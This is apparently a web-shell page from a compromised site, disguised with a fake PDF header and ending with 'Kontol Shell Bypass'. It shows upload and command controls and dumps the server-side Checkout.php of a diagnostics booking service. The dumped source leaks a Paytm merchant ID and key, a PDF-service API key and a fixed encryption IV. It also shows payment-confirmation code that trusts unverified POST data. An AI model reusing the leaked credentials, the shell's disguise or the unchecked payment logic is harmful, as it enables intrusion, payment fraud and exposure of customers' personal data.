%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/controllers/Checkout.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Checkout extends MY_Controller
{

    private $orderId;
	private  $iv = "@@@@&&&&####$$$$";
    public function __construct()
    {
        parent::__construct(); 
		$this->load->library('session');
		if(empty($_SESSION['logged_user']['id'])) {
			redirect(LANG_URL . '/home');
		}
        $this->load->model('admin/Orders_model');
    }

    public function index()
    {
        $data = array();
        $head = array();
        $arrSeo = $this->Public_model->getSeo('checkout');
        $head['title'] = @$arrSeo['title'];
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		
		// Get Cart Data
		$user_id = $_SESSION['logged_user']['id'];
				
		// Get All Members Details
		$data['family_members'] = $family_members = $this->Public_model->getAllFamilyMembers($user_id);
		
        // Get All Cart Items of user id
		$data['cart_items'] = $cart_items = $this->Public_model->getMyCartItems($user_id);
		$data['total_members'] = count($data['cart_items']); 
		$total_packages = 0;
		$our_price = 0;
		$offer_price = 0;
		
		foreach($family_members as $fvalue){
			foreach($cart_items[$fvalue['member_id']] as $value){
				$total_packages = $total_packages+1;
				$our_price = $our_price+$value['old_price'];
				$offer_price = $offer_price+$value['price'];
			}
		}
		
		// Calculate discount in percentage
		$discount = round((($our_price-$offer_price)/$our_price)*100);
		
		// Set total packages Count
		$data['products'] = "Health Checkup Plan of ".$_SESSION['logged_user']['full_name'];
		$data['total_packages'] = $total_packages;
		$data['our_price'] = $our_price;
		$data['offer_price'] = $offer_price;
		$data['discount'] = $discount;
		$data['user_details'] = $_SESSION['logged_user'];
			
		// Get Address Details
		$data['booking_details'] = $this->Public_model->getBookkingAddress('user_booking','user_id', $_SESSION['logged_user']['id']);
		if($data['cart_items']!=""){	
        $this->render('checkout', $head, $data);
		}else {
			redirect(LANG_URL);
		}
    }

	/* Apply cupon code */
	public function applyCuponCode(){
		
		if($_POST){
			
			$_POST['user_id'] = $_SESSION['logged_user']['id'];
			$coupon_amount = $this->Public_model->applyCuponCode($_POST);
			
			$my_total_prise = $_POST['my_total_prise'];
			$needHardCopy = $_POST['needHardCopy'];
			$hardCopy = $_POST['hardCopy'];
			$final_amount = 0;
			
			if($hardCopy==1 && $coupon_amount>0) {
				$final_amount = (($my_total_prise+$needHardCopy)-($coupon_amount));
			} else if($coupon_amount>0) {
				$final_amount = ($my_total_prise-$coupon_amount);
			}
			
			echo $final_amount;
			
			exit();
		}
	}
	
	/* Place Order */
	
	public function placeNewOrder(){
		// Get Cart Data
		if($_POST){
			$user_id = $_SESSION['logged_user']['id'];
			// Get All Members Details
			$data['family_members'] = $family_members = $this->Public_model->getAllFamilyMembers($user_id);
			
			// Get All Cart Items of user id
			$data['cart_items'] = $cart_items = $this->Public_model->getMyCartItems($user_id);
			$data['total_members'] = count($data['cart_items']); 
			$total_packages = 0;
			$our_price = 0;
			$offer_price = 0;
			
			foreach($family_members as $fvalue){
				foreach($cart_items[$fvalue['member_id']] as $value){
					$total_packages = $total_packages+1;
					$our_price = $our_price+$value['old_price'];
					$offer_price = $offer_price+$value['price'];
				}
			}
			
			// Calculate discount in percentage
			$discount = 0;
			if($our_price>0 && $offer_price>0){
			$discount = round((($our_price-$offer_price)/$our_price)*100);
			}
			// Set total packages Count
			$data['products'] = serialize($cart_items);
			$data['total_packages'] = $total_packages;
			$data['our_price'] = $our_price;
			$data['offer_price'] = $offer_price;
			$data['heard_copy_required'] = '0';
			// If hardcopy required
			if($_POST['heard_copy_required']=='1') { 
				 $data['offer_price'] = ($offer_price+heard_copy_amount);  
				$data['heard_copy_required'] = $_POST['hardCopy'];
			}
			
			$data['discount'] = $discount;
			$data['user_details'] = $_SESSION['logged_user'];
			$data['post'] = $_POST;
				
			// Get Address Details
			$data['booking_details'] = $this->Public_model->getBookkingAddress('user_booking','user_id', $_SESSION['logged_user']['id']);
			$data['city'] = 'Noida';
			$data['post_code'] = '201001';
			$data['notes'] = 'NA';
			$data['clean_referrer'] = 'NA';
			$data['booking_slot'] = $_SESSION['slot_booking'];
			$data['order_otp'] = $this->Public_model->getOTP();
			
			if(!empty($data)) {
				$response = $this->Public_model->setOrder($data);
				//print_r($data);die;
				//echo $data['user_details']['member_id'];
				if($data['post']['payment_type']=='PayTm')
				{
					//print_r($response); die;
					//echo $data['offer_price'];die;
					$paytm_payment=$this->goToPayTm($response, $data['user_details']['id'] ,$data['offer_price']);
				} else if($data['post']['payment_type']=='Card Payment'){
					$juspay_payment=$this->goToJuspay($response, $data['user_details']['member_id'] ,$data['offer_price']);
				}
				if($response>0)
				{  
					$this->goToDestination($data, $response);
				}
			}
		} else {
			$this->session->set_flashdata('error', true);
		}
	}
	
	/*
	* Paytm payment response 
	*/
	
	function paymentresponse()
    {
		if($_POST)
		{	
			$params = array();
			$order_id = $_POST['ORDERID'];
			$STATUS = $_POST['STATUS'];
			$response = $this->Public_model->saveTransactionDetails($_POST);
			$params['post']['payment_type'] = 'paytm';
		
			if($STATUS!='TXN_SUCCESS') 
			{
				$this->orderError($params, $order_id);
			} else {
				$params['order_otp'] = $this->Public_model->getOTP();
				$params['transaction_details']=$_POST;
				$this->goToDestination($params, $order_id);
			}	
		}	
    }
	
	function juspayresponse()
    {
		if($_REQUEST)
		{	
			$params = array();
			$data = array();
			$orderId = $_GET["order_id"];
			$merchantId = JUSPAY_MID;

			$ch = curl_init('https://api.juspay.in/order_status');

			curl_setopt($ch, CURLOPT_POSTFIELDS ,array('orderId' => $orderId , 'merchantId' => $merchantId ));
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
			curl_setopt($ch, CURLOPT_USERPWD, JUSPAY_API_KEY);

			//get the json response
			$jsonResponse =  json_decode( curl_exec($ch) );
			$data['MID'] = $jsonResponse->{'merchantId'};
			$data['TXNID'] = $jsonResponse->{'txnId'};
			$data['ORDERID'] = $jsonResponse->{'orderId'};
			$data['STATUS'] = $jsonResponse->{'status'};
			$data['BANKTXNID'] = $jsonResponse->{'id'};
			$data['TXNAMOUNT'] = $jsonResponse->{'amount'};
			$data['PAYMENTMODE'] = $jsonResponse->{'paymentMethodType'};
			$data['CURRENCY'] = $jsonResponse->{'currency'};
			$data['TXNDATE'] = $jsonResponse->{'paymentGatewayResponse'}->{'created'};
			$data['RESPCODE'] = serialize($jsonResponse->{'paymentGatewayResponse'});
			$data['GATEWAYNAME'] = $jsonResponse->{'gatewayId'};
			$data['BANKNAME'] = $jsonResponse->{'gatewayId'};
			$data['RESPMSG'] = $jsonResponse->{'bankErrorMessage'};
			$data['authType'] = $jsonResponse->{'authType'};
			$data['paymentMethod'] = $jsonResponse->{'paymentMethod'};
			$data['CHECKSUMHASH'] = serialize($jsonResponse->{'card'});
			$STATUS = $jsonResponse->{'status'};
			$response = $this->Public_model->saveTransactionDetails($data);
			$params['post']['payment_type'] = 'juspay';
		
			if($STATUS!='CHARGED') 
			{
				$this->orderError($params, $orderId);
			} else {
				$params['order_otp'] = $this->Public_model->getOTP();
				$params['transaction_details']=$data;
				$this->goToDestination($params, $orderId);
			}	
		}	
    }
	
	
	/*
	* function: orderError
	*/
    public function orderError($params, $order_id)
    {
        if($order_id>0)
		{
			$data = array();
			$head = array();
			// Clear Cart history
			$this->clearShoppingCart();
			$this->session->set_flashdata('success_order', true);

			$arrSeo = $this->Public_model->getSeo('checkout');
			$head['title'] = @$arrSeo['title'];
			$head['description'] = @$arrSeo['description'];
			$head['keywords'] = str_replace(" ", ",", $head['title']);
			redirect(LANG_URL . '/order/'.$order_id);
		}
       
    }
	
	/*
	* Function : setVendorOrders
	*/
	
    private function setVendorOrders()
    {
        $this->Public_model->setVendorOrder($_POST);
    }
	
	/*
	* Function: setActivationLink
	*/
    private function setActivationLink()
    {
        if ($this->config->item('send_confirm_link') === true) {
            $link = md5($this->orderId . time());
            $result = $this->Public_model->setActivationLink($link, $this->orderId);
            if ($result == true) {
                $url = parse_url(base_url());
                $msg = lang('please_confirm') . base_url('confirm/' . $link);
                $this->sendmail->sendTo($_POST['email'], $_POST['first_name'] . ' ' . $_POST['last_name'], lang('confirm_order_subj') . $url['host'], $msg);
            }
        }
    }

	/* Checkout with Juspay Gateway*/
	public function goToJuspay($ORDER_ID, $CUST_ID, $TXN_AMOUNT)
    {
		$CUST_EMAIL=$_SESSION['logged_user']['email'];
		# Example integration with iFrame based solution

		# Step 1

		# Create the order with /order/create API call
		$ch = curl_init('https://api.juspay.in/order/create');

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    

		# You should use your API key here. This API is a test Key wont work in production.                 
		curl_setopt($ch, CURLOPT_USERPWD, JUSPAY_API_KEY);
		curl_setopt($ch, CURLOPT_POST, 1); 


		# Set the customer_id, customer_email , amount and order_id as per details.
		# NOTE: The amount and order_id are the fields associated with the "current" order.
		$customer_id = $CUST_ID;
		$customer_email = $CUST_EMAIL;
		$amount = $TXN_AMOUNT;
		$order_id = $ORDER_ID;
		# This is the URL where the customer will be redirected to. Change localhost to your domain.
		$return_url = base_url()."checkout/juspayresponse/".$ORDER_ID;

		curl_setopt($ch, CURLOPT_POSTFIELDS, array('customer_id' => $customer_id , 'customer_email' => $customer_email , 
								 'amount' => $amount , 'order_id' => $order_id , 'return_url' => $return_url ));
		curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);                    
		curl_setopt($ch,CURLOPT_TIMEOUT, 15); 

		$response = curl_exec($ch);
		$responseBody = json_decode ($response, true );
		echo "<center><b>Juspay Checkout Page</b></center>";
		$iframe_pay=$responseBody['payment_links']['iframe'];
		echo "<br /><br />";
		# Step 2
		# After initiating the order use Juspay's iFrame solution.

		echo "<center><iframe src=\"$iframe_pay\" width=\"500\" style=\"border: 2px solid #CCC;padding: 45px;height: auto;min-height: 250px;\"></iframe>
			</center>"   ;
		exit();

	}
	

		
	/* Checksum Functions Ends*/

	function clearShoppingCart()
	{

		$user_id = $_SESSION['logged_user']['id'];
		$this->Public_model->removeAllItemsFromCart("shopping_cart",$user_id);
		$this->Public_model->clearBookingTime('user_booking',$user_id);
		
	}

    public function goToDestination($post, $order_id)
    {
        if ($post['post']['payment_type']) 
		{
			if($post['post']['payment_type']!='cashOnDelivery'){
				$post['order_details'] = $this->Public_model->getOrderInfo($order_id);
				$post['user_details'] = $this->Public_model->getuserInfo($_SESSION['logged_user']['id']);
			}
			// Clear Cart history
			$this->clearShoppingCart();
			$this->session->set_flashdata('success_order', true);
			//save the order receipt    
			$post['ORDERID']=$order_id;
			$post['receipt_id']=$this->Public_model->generate_receipt_id($order_id);
			$post['receipt']='';//$this->saveReceiptpdf($post, $order_id); // Commented On 04 May 2021
			//send confirmation mail to user
			//$this->sendReceipt($post,$post['receipt']); // Commented On 04 May 2021
			
			$response = $this->Public_model->saveOrderstatus($post,$order_id);
			// Send SMS for Order Confirmation
			$mobile_number = $_SESSION['logged_user']['phone'];
			$order_otp = $post['order_otp'];
			$sms_content = str_replace(array('##name##','##OTP##'),array($_SESSION['logged_user']['name'],$order_otp),ORDER_BOOKED);
			
			try {
				$result = $this->Public_model->sendSMS($mobile_number, $sms_content);
			} catch (Exception $e) {
				//echo 'Caught exception: ',  $e->getMessage(), "\n";
			}
            redirect(LANG_URL . '/order/'.$order_id);
        }
    }
	
	/*
	* Function : saveReceiptpdf
	*/
	
	public function saveReceiptpdf($data,$order_id)
    {
		$apikey = '9ecb466d-24e9-45b5-b02a-9d56981f4441';
		$data['order_details']=$data;
		if($data['post']['payment_type']!='cashOnDelivery'){
			$data['order_details']['amount']=$this->getIndianCurrency($data['transaction_details']['TXNAMOUNT']);
			$value =$this->load->view($this->template . 'email_templates/paid_user_receipt',$data,TRUE);
		}else{
		$value =$this->load->view($this->template . 'email_templates/cod_user_receipt',$data,TRUE);	
		}
		$filename=$data['ORDERID'].'_user_receipt.pdf';
		$result = file_get_contents("http://api.html2pdfrocket.com/pdf?apikey=" . urlencode($apikey) . "&value=" . urlencode($value));
		file_put_contents('/var/www/html/diagnostics/attachments/user_receipt/'.$filename,$result);	
		return base_url('/attachments/user_receipt/'.$filename);
    }
	
	/*
	* Function : sendReceipt
	*/


	public function sendReceipt($post,$receipt)
    {	
		$data['email_details']=$post;	
		$file_name=$post['ORDERID'].'_user_receipt.pdf';
		$this->load->library('email');
		$this->load->helper('path');
		$this->email->from('info@shardadiagnostics.in', 'Sharda-Diagnostics');
		$this->email->to($_SESSION['logged_user']['email']); 
		$this->email->subject('Sharda Diagnostics-Payment Receipt Order Id'.$post['ORDERID']);
		$this->email->message($this->load->view($this->template . 'email_templates/order_confirm_mail',$data,TRUE)); 
		$this->email->set_mailtype("html"); 
		/* This function will return a server path without symbolic links or relative directory structures. */
		$path = set_realpath('/var/www/html/diagnostics/attachments/user_receipt/');
		$this->email->attach($path . $file_name);  /* Enables you to send an attachment */
		$this->email->send();
		echo $this->email->print_debugger();

    }



    private function userInfoValidate($post)
    {
        $errors = array();
        if (mb_strlen(trim($post['first_name'])) == 0) {
            $errors[] = lang('first_name_empty');
        }
        if (mb_strlen(trim($post['last_name'])) == 0) {
            $errors[] = lang('last_name_empty');
        }
        if (!filter_var($post['email'], FILTER_VALIDATE_EMAIL)) {
            $errors[] = lang('invalid_email');
        }
        $post['phone'] = preg_replace("/[^0-9]/", '', $post['phone']);
        if (mb_strlen(trim($post['phone'])) == 0) {
            $errors[] = lang('invalid_phone');
        }
        if (mb_strlen(trim($post['address'])) == 0) {
            $errors[] = lang('address_empty');
        }
        if (mb_strlen(trim($post['city'])) == 0) {
            $errors[] = lang('invalid_city');
        }
        return $errors;
    }
	
	/* Get amount in words */
	function getIndianCurrency($number)
{
    $decimal = round($number - ($no = floor($number)), 2) * 100;
    $hundred = null;
    $digits_length = strlen($no);
    $i = 0;
    $str = array();
    $words = array(0 => '', 1 => 'one', 2 => 'two',
        3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six',
        7 => 'seven', 8 => 'eight', 9 => 'nine',
        10 => 'ten', 11 => 'eleven', 12 => 'twelve',
        13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen',
        16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen',
        19 => 'nineteen', 20 => 'twenty', 30 => 'thirty',
        40 => 'forty', 50 => 'fifty', 60 => 'sixty',
        70 => 'seventy', 80 => 'eighty', 90 => 'ninety');
    $digits = array('', 'hundred','thousand','lakh', 'crore');
    while( $i < $digits_length ) {
        $divider = ($i == 2) ? 10 : 100;
        $number = floor($no % $divider);
        $no = floor($no / $divider);
        $i += $divider == 10 ? 1 : 2;
        if ($number) {
            $plural = (($counter = count($str)) && $number > 9) ? 's' : null;
            $hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
            $str [] = ($number < 21) ? $words[$number].' '. $digits[$counter]. $plural.' '.$hundred:$words[floor($number / 10) * 10].' '.$words[$number % 10]. ' '.$digits[$counter].$plural.' '.$hundred;
        } else $str[] = null;
    }
    $Rupees = implode('', array_reverse($str));
    $paise = ($decimal) ? "." . ($words[$decimal / 10] . " " . $words[$decimal % 10]) . ' Paise' : '';
    return ($Rupees ? $Rupees . 'only ' : '') . $paise;
}

	/*
	* Function : Paytm Payment
	*
	*/
	public function goToPayTm($ORDER_ID, $CUST_ID, $TXN_AMOUNT)
	{
		$paytmParams = array();
		$TXN_AMOUNT = '1.0';
		$paytmParams["body"] = array(
			"requestType"   => "Payment",
			"mid"           => PAYTM_MERCHANT_MID,
			"websiteName"   => PAYTM_MERCHANT_WEBSITE,
			"orderId"       => $ORDER_ID,
			"callbackUrl"   => base_url()."checkout/paymentconfirmation?resp=".base64_encode($ORDER_ID),
			"txnAmount"     => array(
				"value"     => $TXN_AMOUNT,
				"currency"  => "INR",
			),
			"userInfo"      => array(
				"custId"    => $CUST_ID,
			),
		);
		require_once APPPATH.'/libraries/PaytmChecksum.php';
		$checksum = PaytmChecksum::generateSignature(json_encode($paytmParams["body"], JSON_UNESCAPED_SLASHES),PAYTM_MERCHANT_KEY);

		$paytmParams["head"] = array(
		"signature"    => $checksum
		);

		$post_data = json_encode($paytmParams, JSON_UNESCAPED_SLASHES);

		/* for Staging */
		//$url = "https://securegw-stage.paytm.in/theia/api/v1/initiateTransaction?mid=".PAYTM_MERCHANT_MID."&orderId=".$ORDER_ID;
		

		/* for Production */
		//$url = "https://securegw.paytm.in/theia/api/v1/initiateTransaction?mid=YOUR_MID_HERE&orderId=ORDERID_98765";
		$url = "https://securegw.paytm.in/theia/api/v1/initiateTransaction?mid=".PAYTM_MERCHANT_MID."&orderId=".$ORDER_ID;
		
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
		curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json")); 
		$response = curl_exec($ch);
		//$this->goToPayTmSTW($ORDER_ID, $CUST_ID, $TXN_AMOUNT,$response);
		$data = array();
		$head = array();
		$data['ORDER_ID'] = $ORDER_ID;
		$data['CUST_ID'] = $CUST_ID;
		$data['TXN_AMOUNT'] = $TXN_AMOUNT;
		$resultsArray = (json_decode($response));
		$data['TXN_TOKEN'] = $resultsArray->body->txnToken;
		$this->render('paytm_request', $head, $data);
		//return $checkSum;
	}
	
	public function goToPayTmSTW($ORDER_ID, $CUST_ID, $TXN_AMOUNT, $response)
	{
		return true;
		exit();
		//return $checkSum;
	}
	 
	/* Checksum Functions Starts*/
	private function getChecksumFromArray($arrayList, $key, $sort=1) 
	{
		if ($sort != 0) {
			ksort($arrayList);
		}
		$str = $this->getArray2Str($arrayList);
		$salt = $this->generateSalt_e(4);
		$finalString = $str . "|" . $salt;
		$hash = hash("sha256", $finalString);
		$hashString = $hash . $salt;
		$checksum = $this->encrypt_e($hashString, $key);
		return $checksum;
	}

	function generateSalt_e($length) 
	{
		$random = "";
		srand((double) microtime() * 1000000);

		$data = "AbcDE123IJKLMN67QRSTUVWXYZ";
		$data .= "aBCdefghijklmn123opq45rs67tuv89wxyz";
		$data .= "0FGH45OP89";

		for ($i = 0; $i < $length; $i++) {
			$random .= substr($data, (rand() % (strlen($data))), 1);
		}

		return $random;
	}
	function encrypt_e($input, $ky) 
	{
		$key   = html_entity_decode($ky);
		$iv = "@@@@&&&&####$$$$";
		$data = openssl_encrypt ( $input , "AES-128-CBC" , $key, 0, $iv );
		return $data;
	}
	
	function checkString_e($value) 
	{
		if ($value == 'null')
			$value = '';
		return $value;
	}
	
	function getArray2Str($arrayList) 
	{
		$findme   = 'REFUND';
		$findmepipe = '|';
		$paramStr = "";
		$flag = 1;	
		foreach ($arrayList as $key => $value) {
			$pos = strpos($value, $findme);
			$pospipe = strpos($value, $findmepipe);
			if ($pos !== false || $pospipe !== false) 
			{
				continue;
			}
			
			if ($flag) {
				$paramStr .= $this->checkString_e($value);
				$flag = 0;
			} else {
				$paramStr .= "|" . $this->checkString_e($value);
			}
		}
		return $paramStr;
	} 
	/*
	* Function : Paymentconfirmation
	*
	*
	*/

	public function Paymentconfirmation()
	{
	$data = $this->input->post();
	//print_r($data);
	//$this->paytmTestResponse($data['ORDERID']);
	//die;
	$MID =  $data['MID'];
	$TXNAMOUNT =  $data['TXNAMOUNT'];
	$CURRENCY =  $data['CURRENCY'];
	$STATUS =  $data['STATUS'];
	$RESPCODE =  $data['RESPCODE'];
	$orderId =  $data['ORDERID'];
	$RESPMSG =  $data['RESPMSG'];
	$BANKTXNID =  $data['BANKTXNID'];
	$CHECKSUMHASH =  $data['CHECKSUMHASH'];
	
	$data['TXNDATE'] = date('Y-m-d H:i:s');
	$data['GATEWAYNAME'] = 'PayTm';
	$data['BANKNAME'] = 'PayTm';
	$response = $this->Public_model->savePayTmTransactionDetails($data);
	
	$params['post']['payment_type'] = 'PayTm';

		if($STATUS!='CHARGED') 
		{
			$this->orderError($params, $orderId);
		} else {
			$params['order_otp'] = $this->Public_model->getOTP();
			$params['transaction_details']=$data;
			$this->goToPaytmDestination($params, $orderId);
		}
	}
	
	/*
	* function : goToPaytmDestination
	*
	*
	*/
	public function goToPaytmDestination($post, $order_id)
    {
        if ($post['post']['payment_type']) 
		{
			// Clear Cart history
			$this->clearShoppingCart();
			$this->session->set_flashdata('success_order', true);
			//save the order receipt    
			$post['ORDERID']=$order_id;
			$post['receipt_id']=$this->Public_model->generate_receipt_id($order_id);
			$post['receipt']='';//$this->saveReceiptpdf($post, $order_id); // Commented On 04 May 2021
			//send confirmation mail to user
			//$this->sendReceipt($post,$post['receipt']); // Commented On 04 May 2021
			
			$response = $this->Public_model->saveOrderstatus($post,$order_id);
			// Send SMS for Order Confirmation
			$mobile_number = $_SESSION['logged_user']['phone'];
			$order_otp = $post['order_otp'];
			$sms_content = str_replace(array('##name##','##OTP##'),array($_SESSION['logged_user']['name'],$order_otp),ORDER_BOOKED);
			
			try {
				$result = $this->Public_model->sendSMS($mobile_number, $sms_content);
			} catch (Exception $e) {
				//echo 'Caught exception: ',  $e->getMessage(), "\n";
			}
            redirect(LANG_URL . '/order/'.$order_id);
        }
    }
	
	/*
	* Function:
	*
	*
	*/
	public function paytmTestResponse($order_id){
		
		/* body parameters */
		$paytmParams["body"] = array(

			/* Find your MID in your Paytm Dashboard at https://dashboard.paytm.com/next/apikeys */
			"mid" => "Sharda19341643693331",

			/* Enter your order id which needs to be check status for */
			"orderId" => $order_id,
		);
		
		/**
		* Generate checksum by parameters we have in body
		* Find your Merchant Key in your Paytm Dashboard at https://dashboard.paytm.com/next/apikeys 
		*/
		require_once APPPATH.'/libraries/PaytmChecksum.php';
		$checksum = PaytmChecksum::generateSignature(json_encode($paytmParams["body"], JSON_UNESCAPED_SLASHES), "PcOf0leMf%0xxah%");

		/* head parameters */
		$paytmParams["head"] = array(

			/* put generated checksum value here */
			"signature"	=> $checksum
		);
        echo '=====================';
		/* prepare JSON string for request */
		$post_data_old = json_encode($paytmParams, JSON_UNESCAPED_SLASHES);
		
		print_r($post_data_old);
		
		echo '========= Request ============';
		
		//$post_data='{"body": {"mid": "Sharda19341643693331", "orderId": "20210404"}, "head": {"signature": "MJWfd/MnwM3bvP1zlF6sz7b9fE5SMHYk6NNBL3MKc3i0JTphyep850m7rHai5VB+1JQfoPmRlBGVCd8tZb3pOPxFwtYA07EsXNobs7ZPqxM="}}';
		//print_r($post_data);
		
		echo '========= Request ============';
		/* for Staging */
		$url = "https://securegw-stage.paytm.in/v3/order/status";

		/* for Production */
		// $url = "https://securegw.paytm.in/v3/order/status";

		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data_old);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));  
		$response = curl_exec($ch);
		print_r($response); 
		die('TEST');
	}
}

Kontol Shell Bypass